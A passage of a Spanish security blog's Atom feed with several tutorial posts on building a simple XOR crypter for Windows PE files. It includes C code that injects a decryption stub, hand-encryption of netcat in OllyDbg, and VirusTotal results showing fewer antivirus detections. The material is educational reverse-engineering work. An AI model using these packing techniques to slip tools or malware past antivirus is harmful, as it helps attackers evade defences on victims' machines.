	//El nuevo entry point estará al comienzo de la nueva sección
	pINH-&amp;gt;OptionalHeader.AddressOfEntryPoint = pNewISH-&amp;gt;VirtualAddress;
	pINH-&amp;gt;OptionalHeader.SizeOfImage = align(pNewISH-&amp;gt;VirtualAddress + pNewISH-&amp;gt;Misc.VirtualSize, pINH-&amp;gt;OptionalHeader.SectionAlignment);
	printf("Seccion %s agregada\n", pNewISH-&amp;gt;Name);	

	//Modificamos la rutina de desencriptación
	DWORD VirtualStart = pINH-&amp;gt;OptionalHeader.ImageBase + pISH-&amp;gt;VirtualAddress;
	memcpy(&amp;amp;uncryptroutine[sectionStartPos], &amp;amp;VirtualStart, sizeof(DWORD));
	DWORD VirtualEnd = VirtualStart + pISH-&amp;gt;Misc.VirtualSize;
	memcpy(&amp;amp;uncryptroutine[sectionEndPos], &amp;amp;VirtualEnd, sizeof(DWORD));
	OEP += pINH-&amp;gt;OptionalHeader.ImageBase;
	memcpy(&amp;amp;uncryptroutine[OEPPos], &amp;amp;OEP, sizeof(DWORD));

	if (size != pNewISH-&amp;gt;PointerToRawData)
	{
		printf("Existen datos EOF, se copiaran al final del fichero\n");
		//Los datos EOF se desplazan al final del fichero
		memcpy(&amp;amp;viewMappedFile[pNewISH-&amp;gt;PointerToRawData + pNewISH-&amp;gt;SizeOfRawData], &amp;amp;viewMappedFile[pNewISH-&amp;gt;PointerToRawData], size - pNewISH-&amp;gt;PointerToRawData);
	}
	//Escribimos la rutina de desencriptación al inicio de la nueva sección
	memcpy(&amp;amp;viewMappedFile[pNewISH-&amp;gt;PointerToRawData], uncryptroutine, sizeof(uncryptroutine));
	//Rellenamos de 00s el resto de la sección
	memset(&amp;amp;viewMappedFile[pNewISH-&amp;gt;PointerToRawData + sizeof(uncryptroutine)], 0, pNewISH-&amp;gt;SizeOfRawData - sizeof(uncryptroutine));
	printf("Rutina de descifrado escrita\n");
	
	//Cerramos la vista mapeada
	UnmapViewOfFile(viewMappedFile);
	CloseHandle(mappedFile);
	CloseHandle(file);

	printf("Archivo encriptado!\n");
	return EXIT_SUCCESS;
}
&lt;/pre&gt;&lt;div align="justify"&gt;El ejecutable conserva los datos EOF que puedan existir. La rutina de descifrar a sido cambiada levemente ("JMP dirección" por "MOV EAX, dirección; JMP EAX") para que sea mas fácil de modificar desde el código.&lt;br /&gt;
&lt;br /&gt;
Al ejecutarlo muestra algo como esto:&lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://lh4.ggpht.com/-L8ymdOkUwwg/TkOtTzBtW0I/AAAAAAAAAXY/8v1thNIHScs/s1600-h/image5.png"&gt;&lt;img alt="image" border="0" height="109" src="http://lh6.ggpht.com/-pTXZjp2vbpc/TkOtUaCN4uI/AAAAAAAAAXc/UDsF1Om0Xns/image_thumb8.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="299" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://www.multiupload.com/7OAIJS8DUO"&gt;Subo aquí&lt;/a&gt; el programa compilado.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="justify"&gt;Es posible volver a cifrar el ejecutable resultante. De modo que podemos llegar a tener 20 secciones “.crypt”, y una tras otra van descifrándose hasta que la última descifra el código original. Como curiosidad he probado ha cifrarlo 88 veces, obteniendo 91 secciones (inicialmente había 3) y funciona correctamente:&lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://lh4.ggpht.com/-58ytSabXze4/TkOtW6vJiRI/AAAAAAAAAXg/xbdfwaiKLMU/s1600-h/image10.png"&gt;&lt;img alt="image" border="0" height="95" src="http://lh4.ggpht.com/-RFspi5udZ7o/TkOtXolqFQI/AAAAAAAAAXk/VndcgiY-1hE/image_thumb15.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="457" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="justify"&gt;Este “crypter” no funciona con todos los ejecutables, de hecho da problemas con muchos de ellos, en siguientes entradas veremos los problemas que pueden surgir y como tratarlos.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="justify"&gt;Cualquier sugerencia será bienvenida. Saludos!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-2768471707012834157?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/2768471707012834157/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2768471707012834157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2768471707012834157'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c.html' title='Cifrando un ejecutable en C'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/-pTXZjp2vbpc/TkOtUaCN4uI/AAAAAAAAAXc/UDsF1Om0Xns/s72-c/image_thumb8.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-7606175528330960294</id><published>2011-08-09T11:40:00.003+02:00</published><updated>2011-08-11T01:29:24.306+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crypter'/><category scheme='http://www.blogger.com/atom/ns#' term='netcat'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Cifrando un ejecutable a mano, dos variaciones</title><content type='html'>&lt;p align="justify"&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano.html"&gt;En la anterior entrada&lt;/a&gt; hemos cifrado el netcat haciendo xor sobre toda la sección de código. Para ello hemos añadido una sección, en ella se ha escrito el código para descifrar la sección de código y se ha cambiado el EP a esta sección.&lt;/p&gt; &lt;p align="justify"&gt;Se me ocurren 2 posibles variaciones al método anterior. &lt;/p&gt; &lt;p align="justify"&gt;La primera es no añadir una nueva sección sino usar los huecos existentes en la sección “.text”. Es muy habitual que debido a la necesidad de que el tamaño de una sección en disco esté alineada con el valor FileAlignment, al final de todas las secciones sobren algunos bytes que solo están ahí para cumplir con el alineado. Podemos usar estos huecos para introducir nuestro código sin la necesidad de añadir una sección de código. Pero claro esto no siempre se puede hacer y lo que se busca a la hora de programar algo es que funcione la mayoría de las veces, así que este método queda descartado.&lt;/p&gt; &lt;p align="justify"&gt;Aun así para ver que dicen los AV al respecto, he realizado la prueba y lo detectan 19/43, este cambio no confunde a ningún AV.&lt;/p&gt; &lt;p align="justify"&gt;La segunda variación es la que hace Mati Aharoni en el video que puse en la anterior entrada. Y consiste en no modificar en ningún momento el EP. En cambio donde apunta el EP pone una instrucción de salto, JMP, a la nueva sección donde tenemos el código que descifra y una vez descifrado el código se encarga de ejecutar las instrucciones que había sobrescrito y retornar a la sección “.text” descifrada para continuar la ejecución normalmente.&lt;/p&gt; &lt;p align="justify"&gt;Originalmente en el EP existen estas instrucciones:
&lt;a href="http://lh3.ggpht.com/-gAr_Kp2XECo/TkBg2RIZ4kI/AAAAAAAAAXA/21hY93UDj9I/s1600-h/image%25255B5%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-8emU0KYpMX4/TkBg3ElqwQI/AAAAAAAAAXE/H-d-QwSg1wc/image_thumb%25255B6%25255D.png?imgmax=800" width="384" height="116" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Tras el cambio quedara así:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/-vjosHAbP1NY/TkBg3REUPeI/AAAAAAAAAXI/KLXrVtTLDb4/s1600-h/image%25255B10%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-bG9eByozWw0/TkBg30klZ4I/AAAAAAAAAXM/2sS4msajGAs/image_thumb%25255B12%25255D.png?imgmax=800" width="382" height="122" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Fijaos que el resto del código está cifrado con xor, solo se ha conservado el salto.&lt;/p&gt; &lt;p align="justify"&gt;La sección que hemos añadido y donde salta ese JMP que veíamos quedaría así:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/-WfUy-EILDSI/TkBg4pEKdVI/AAAAAAAAAXQ/QcM5kZVOvxA/s1600-h/image%25255B15%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-ZQDhuLgnE6M/TkBg5WdDfaI/AAAAAAAAAXU/NDGssjO9D7c/image_thumb%25255B18%25255D.png?imgmax=800" width="387" height="113" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;Las 2 instrucciones iniciales son las mismas que había en el exe original y que fueron reemplazas por la instrucción JMP.&lt;/p&gt; &lt;p align="justify"&gt;Subo el exe modificado &lt;a href="http://www.multiupload.com/2FOFOTDWF2"&gt;por aquí&lt;/a&gt;. Este es solo detectado por &lt;a href="http://www.virustotal.com/file-scan/report.html?id=9665ca04ce176b6c446d12a3d0ea6ad0eede8afb87183870449781745a22cb5b-1312839990"&gt;13/43 antivirus&lt;/a&gt;. Que conste que el objetivo no es hacer indetectable el netcat, para eso existen &lt;a href="http://el-blog-de-thor.blogspot.com/2009/01/quieres-herramientas-indetectables.html"&gt;mejores técnicas de las que ya hablé&lt;/a&gt;, sino ver diversas formas de cifrar un archivo y ya de paso comprobar cómo afectan a los antivirus.&lt;/p&gt; &lt;p align="justify"&gt;Esta técnica que acabamos de ver tiene algunas dificultades para ser implantada en un programa. Y es que para insertar el JMP en el EP necesitamos 5 bytes que es lo que ocupa una instrucción JMP, y esos 5 bytes serán sobrescritos afectando a las instrucciones que estuviesen en ese lugar, pero a priori no sabemos cuantas instrucciones son ni que tamaño tienen. Es mas fácil verlo con el ejemplo anterior. Las instrucciones sobrescritas eran:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;PUSH 18&lt;br /&gt;PUSH 0040C098&lt;/pre&gt;&lt;p align="justify"&gt;Las cuales ocupan 7 opcodes: 6A 18   68 98 C0 40 00&lt;/p&gt; &lt;p align="justify"&gt;Sería un grave error hacer el programa que solo copiase solo los 5 opcodes sobrescritos por el JMP. Necesitamos analizar las instrucciones afectadas por esos 5 bytes y conservarlas completamente. Programar esto ya es mas complicado, requiere conocer todas las instrucciones posibles, el tamaño de los operandos, etc… Así que de momento esta variación queda también descartada para realizar un programa automático que cifre un ejecutable, un crypter.&lt;/p&gt; &lt;p align="justify"&gt;Saludos!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-7606175528330960294?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/7606175528330960294/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano-dos.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7606175528330960294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7606175528330960294'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano-dos.html' title='Cifrando un ejecutable a mano, dos variaciones'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/-8emU0KYpMX4/TkBg3ElqwQI/AAAAAAAAAXE/H-d-QwSg1wc/s72-c/image_thumb%25255B6%25255D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-846462511585444725</id><published>2011-08-08T17:11:00.009+02:00</published><updated>2011-08-11T01:32:29.690+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='netcat'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Cifrando un ejecutable a mano</title><content type='html'>&lt;p align="justify"&gt;Buenas!&lt;/p&gt; &lt;p align="justify"&gt;En las entradas que se han visto hasta ahora sobre los ficheros ejecutables en Windows se explicaba &lt;a href="http://el-blog-de-thor.blogspot.com/2011/07/formato-de-ficheros-ejecutables-formato.html"&gt;el formato que tiene un exe&lt;/a&gt;, &lt;a href="http://el-blog-de-thor.blogspot.com/2011/02/anadiendo-una-seccion-un-exe.html"&gt;cómo añadir una sección&lt;/a&gt;, &lt;a href="http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html"&gt;cómo añadir código ejecutable&lt;/a&gt;, &lt;a href="http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html"&gt;qué es la IAT&lt;/a&gt; y &lt;a href="http://el-blog-de-thor.blogspot.com/2011/05/usando-getprocaddress-y-loadlibrary.html"&gt;cómo cargar funciones manualmente&lt;/a&gt; y alguna otra cosa relacionada. Todo esto tenía un objetivo, ir preparándonos para entender cómo funcionan los protectores de ejecutables e ir programando poco a poco uno.&lt;/p&gt; &lt;p align="justify"&gt;Y para empezar que mejor que cifrar un ejecutable a mano de la forma mas sencilla posible para después ya desarrollar el programa que haga el proceso automáticamente. La idea es usar la función XOR para cifrar la sección de código de un ejecutable, después insertar al inicio un pequeño código en el mismo ejecutable que deshaga esta operación de cifrado y por último ejecute el código una vez descifrado. &lt;/p&gt; &lt;p align="justify"&gt;El proceso puede verse en &lt;a href="http://www.offensive-security.com/videos/shmoocon-presentation-2008-video/shmoocon-presentation-2008_controller.swf"&gt;este video&lt;/a&gt; de la conferencia ShmooCon 2008 donde Mati Aharoni habla sobre cómo saltarse la detección de los antivirus. Para ello usa la herramienta netcat que es detectada por unos cuantos. Al final del proceso logra que su Antivirus, AVG, no detecte el netcat.&lt;/p&gt; &lt;p align="justify"&gt;Voy a hacer en esencia lo mismo pero con algunos cambios.&lt;/p&gt; &lt;p align="justify"&gt;Como Mati, voy a usar el netcat, que &lt;a href="http://joncraton.org/files/nc111nt.zip"&gt;se puede descargar de aquí&lt;/a&gt;. Nada mas bajarlo, lo he subido a Virustotal y actualmente es detectado por &lt;a href="http://www.virustotal.com/file-scan/report.html?id=7379c5f5989be9b790d071481ee4fdfaeeb0dc7c4566cad8363cb016acc8145e-1312742806"&gt;28/43 antivirus&lt;/a&gt;.&lt;/p&gt; &lt;p align="justify"&gt;Lo siguiente que voy a hacer es añadir una sección al netcat. Para ello uso mi querido 010 Editor. Me ha quedado así:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/-tcIomF_wNhA/Tj_8okwhzGI/AAAAAAAAAWg/0UhxMRfn2II/s1600-h/image4.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-fDah9E3zUhI/Tj_8pOyBURI/AAAAAAAAAWk/czreaW6e90w/image_thumb7.png?imgmax=800" width="468" height="190" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;No os olvidéis de cambiar el NumberOfSections, ImageSize y añadir físicamente 1000 bytes al final del fichero. Si tenéis algún problema añadiendo la sección revisad &lt;a href="http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2008_taller_de_formato_pe_by_ferchu-t208278.0.html"&gt;este post&lt;/a&gt; de Ferchu sobre cómo añadir una sección a un exe “y no morir en el intento”.&lt;/p&gt; &lt;p align="justify"&gt;En esta sección que acabamos de crear incluiremos el código que descifre la sección de código del ejecutable y una vez finalizada esta tarea salte a la misma. Para que lo primero que se ejecute en el programa sea este código que ahora veremos es necesario modificar el EntryPoint del ejecutable de netcat para que el programa inicie la ejecución en nuestra sección.&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/-D_lScAPsU0w/Tj_8piaZznI/AAAAAAAAAWo/yca69QF5BaM/s1600-h/image%25255B5%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-qUqSwLapeRE/Tj_8qQra2uI/AAAAAAAAAWs/oo4tAdgqy7I/image_thumb%25255B6%25255D.png?imgmax=800" width="466" height="75" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;/p&gt; &lt;p align="justify"&gt;En este ejemplo el código que se usará para cifrar la sección será el mismo que se use para descifrarla. Esto es posible porque vamos a usar la &lt;a href="http://es.wikipedia.org/wiki/Cifrado_XOR"&gt;función XOR&lt;/a&gt; para cifrar los bytes de la sección de código, y esta función tiene una característica curiosa y es que:
&lt;strong&gt;X&lt;/strong&gt; XOR &lt;strong&gt;C&lt;/strong&gt; = &lt;strong&gt;Y
Y&lt;/strong&gt; XOR &lt;strong&gt;C&lt;/strong&gt; = &lt;strong&gt;X&lt;/strong&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;strong&gt;C&lt;/strong&gt; es la clave que por ejemplo puede ser 0xBB.&lt;strong&gt; X&lt;/strong&gt; es uno de los bytes de la sección de código, una vez cifrado con la clave &lt;strong&gt;C&lt;/strong&gt; obtenemos &lt;strong&gt;Y&lt;/strong&gt;, que será el byte cifrado. Para descifrarlo solo tenemos que volver a aplicar la función XOR con la misma clave.&lt;/p&gt; &lt;p align="justify"&gt;La sección de código en el ejecutable de netcat es la primera sección, llamada “.text”. Dicha sección se encuentra en este rango de memoria virtual: 401000h-40B000h.&lt;/p&gt; &lt;p align="justify"&gt;Y con todo esta ahora ya vamos con el código ensamblador que cifrará/descifrará la sección. La idea es situarnos al comienzo de la sección e ir cifrando cada byte de la misma hasta que lleguemos al final. Este código realiza esa tarea:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;MOV EAX, 401000  ;Inicio de la sección&lt;br /&gt;XOR [EAX], BB ;Clave usada para la función xor BB&lt;br /&gt;INC EAX&lt;br /&gt;CMP EAX, 40B000  ;Fin de la sección&lt;br /&gt;JNZ 00410005 ;Si no es el fin de la sección seguir en el bucle&lt;br /&gt;JMP 00404AC3  ;EP original&lt;/pre&gt;&lt;p align="justify"&gt;Ahora tenemos el netcat con una nueva sección que contiene el código para cifrar/descifrar. Lo abrimos con OllyDbg y ejecutamos el bucle para que cifre toda la sección “.text”. Para ello lo mejor es poner un breakpoint en el último JMP y darle a ejecutar.&lt;/p&gt; &lt;p align="justify"&gt;Una vez parado el Olly en el JMP, podemos ver como la sección ”.text” se encuentra cifrada:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/-cJRNkHlL5BI/Tj_8qwyDQpI/AAAAAAAAAWw/tGrMC2HUPtA/s1600-h/image%25255B22%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-HKdzfHNmYVE/Tj_8sOf3-AI/AAAAAAAAAW0/rn7RA3aJhEw/image_thumb%25255B23%25255D.png?imgmax=800" width="462" height="290" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;A la izquierda vemos el netcat original, a la derecha el cifrado. Ahora solo nos queda guardar el ejecutable en este estado, con al sección cifrada. Para ello en OllyDbg selecionamos toda la sección y damos a “Copy to executable &amp;gt; Selection”:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/-70V1uyI62Mk/Tj_8szRx3aI/AAAAAAAAAW4/ldYGlWD21UA/s1600-h/image%25255B27%25255D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-LkHP45H5urU/Tj_8uCrxYfI/AAAAAAAAAW8/TlDRT-tO7gY/image_thumb%25255B29%25255D.png?imgmax=800" width="443" height="384" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt; Y en la nueva ventana “Save file”.&lt;/p&gt; &lt;p align="justify"&gt;Ahora ya tendremos todo listo, el netcat con la sección de código cifrada, una nueva sección con el código que la descifrará y el EP apuntando allí. Ahora al ejecutarlo se descifrara la sección y la ejecutará como se haría normalmente.&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://www.multiupload.com/HNXSYMV0XX"&gt;Subo aquí&lt;/a&gt; el netcat tal cual me ha quedado a mi.&lt;/p&gt; &lt;p align="justify"&gt;Esta versión cifrada la detectan &lt;a href="http://www.virustotal.com/file-scan/report.html?id=8f521925e13a453720402182e9bca1e17761bc85ccd4ce98764d48dbf586705e-1312760167"&gt;19/43 antivirus&lt;/a&gt;. Antes eran 28. Uno de los que no lo detectan es AVG, el mismo que utilizó Mati Aharoni en su conferencia. Hace años seguramente hubiesen sido mas los AV que no hubiesen detectado este netcat modificado, pero hoy en día muchos antivirus son capaces de mediante emulación o análisis heurísticos detectar que se usa un cifrado XOR y revertirlo para analizar el ejecutable. Otros tantos no detectaban el netcat, ya que en si es una herramienta para “hacking”, pero si detectan esta variante como un programa empaquetado “Malicious Packer”. Hay varias cosas en las que puede fijarse un antivirus para sospechar que es un programa cifrado, tiene 2 secciones con permisos de ejecución, lo cual no suele ser muy normal, la sección donde apunta el EP no es la primera, lo que tampoco es habitual y la sección “.text” no parece contener instrucciones ejecutables.&lt;/p&gt; &lt;p align="justify"&gt;En siguientes entradas programaré esto en C y se verán los problemas que pueden surgir con este método.&lt;/p&gt; &lt;p align="justify"&gt;Saludos!&lt;/p&gt;&lt;hr /&gt;&lt;p align="justify"&gt;Continuación: &lt;a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano-dos.html"&gt;Dos posibles variaciones a este método&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-846462511585444725?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/846462511585444725/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/846462511585444725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/846462511585444725'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano.html' title='Cifrando un ejecutable a mano'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/-fDah9E3zUhI/Tj_8pOyBURI/AAAAAAAAAWk/czreaW6e90w/s72-c/image_thumb7.png?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-7875860992972990376</id><published>2011-07-04T21:43:00.001+02:00</published><updated>2011-07-04T21:43:12.686+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Formato de ficheros ejecutables, Formato PE</title><content type='html'>&lt;p&gt;&lt;a href="https://twitter.com/#!/the_swash"&gt;@The_Swash&lt;/a&gt; ha redactado un completo documento en el que explica toda la estructura de un fichero ejecutable para Windows.&lt;/p&gt; &lt;p&gt;Es uno de los documentos mas completos en español sobre el tema.&lt;/p&gt; &lt;p&gt;Aquí os dejo el índice:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;ESTRUCTURA DE UN FICHERO EJECUTABLE&lt;/li&gt; &lt;li&gt;DIRECCIONES FÍSICAS, VIRTUALES RELATIVAS Y VIRTUALES&lt;/li&gt; &lt;li&gt;IMAGE FILE HADER&lt;/li&gt; &lt;li&gt;IMAGE OPTIONAL HEADER&lt;/li&gt; &lt;li&gt;IMAGE DATA DIRECTORY&lt;/li&gt; &lt;li&gt;IMAGE SECTION HEADER&lt;/li&gt; &lt;li&gt;EXPORT DIRECTORY&lt;/li&gt; &lt;li&gt;IMPORT DIRECTORY&lt;/li&gt; &lt;li&gt;RESOURCE DIRECTORY&lt;/li&gt; &lt;li&gt;RELOCATION DIRECTORY&lt;/li&gt; &lt;li&gt;DEBUG DIRECTORY&lt;/li&gt; &lt;li&gt;TLS DIRECTORY (THREAD LOCAL STORAGE)&lt;/li&gt; &lt;li&gt;DIRECTORIO LOAD CONFIG&lt;/li&gt; &lt;li&gt;DELAY IMPORT DIRECTORY&lt;/li&gt; &lt;li&gt;BOUND IMPORT DIRECTORY&lt;/li&gt; &lt;li&gt;REFERENCIAS&lt;/li&gt; &lt;li&gt;DESPEDIDA&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Y &lt;a href="http://www.box.net/shared/4156t5rfv8tr5v4bgo19"&gt;el documento&lt;/a&gt;, como no.&lt;/p&gt; &lt;p&gt;Saludos!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-7875860992972990376?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/7875860992972990376/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/07/formato-de-ficheros-ejecutables-formato.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7875860992972990376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7875860992972990376'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/07/formato-de-ficheros-ejecutables-formato.html' title='Formato de ficheros ejecutables, Formato PE'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5376886243931567236</id><published>2011-06-10T21:48:00.001+02:00</published><updated>2011-06-10T21:48:43.813+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Me quieren infectar! Pero ¿cómo? y ¿quién?</title><content type='html'>&lt;p align="justify"&gt;En &lt;a href="http://el-blog-de-thor.blogspot.com/2011/06/me-quieren-infectar.html"&gt;la anterior entrada&lt;/a&gt; mostré cómo alguien o algo trataba de infectar mi equipo.&lt;/p&gt; &lt;p align="justify"&gt;&lt;strong&gt;¿Cómo?&lt;/strong&gt;&lt;/p&gt; &lt;p align="justify"&gt;Está claro que el problema estaba en que el DNS no era el esperado y tampoco el servidor DCHP. Razonando un poco llegué a la conclusión de que había un servidor DHCP falso que era el que me daba los datos para conectarme a internet y uno de esos datos era el servidor DNS malicioso.&lt;/p&gt; &lt;p align="justify"&gt;Veámoslo en Wireshark. Me desconecto y reconecto a la red Wi-Fi, filtro los paquetes para ver solo el protocolo DHCP “bootp” y me encuentro con lo siguiente:&lt;/p&gt; &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/-XaajQ-dBCNg/TfJ08eHF6pI/AAAAAAAAAWI/EuMMzksO76Y/s1600-h/wireshark_yeah5.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 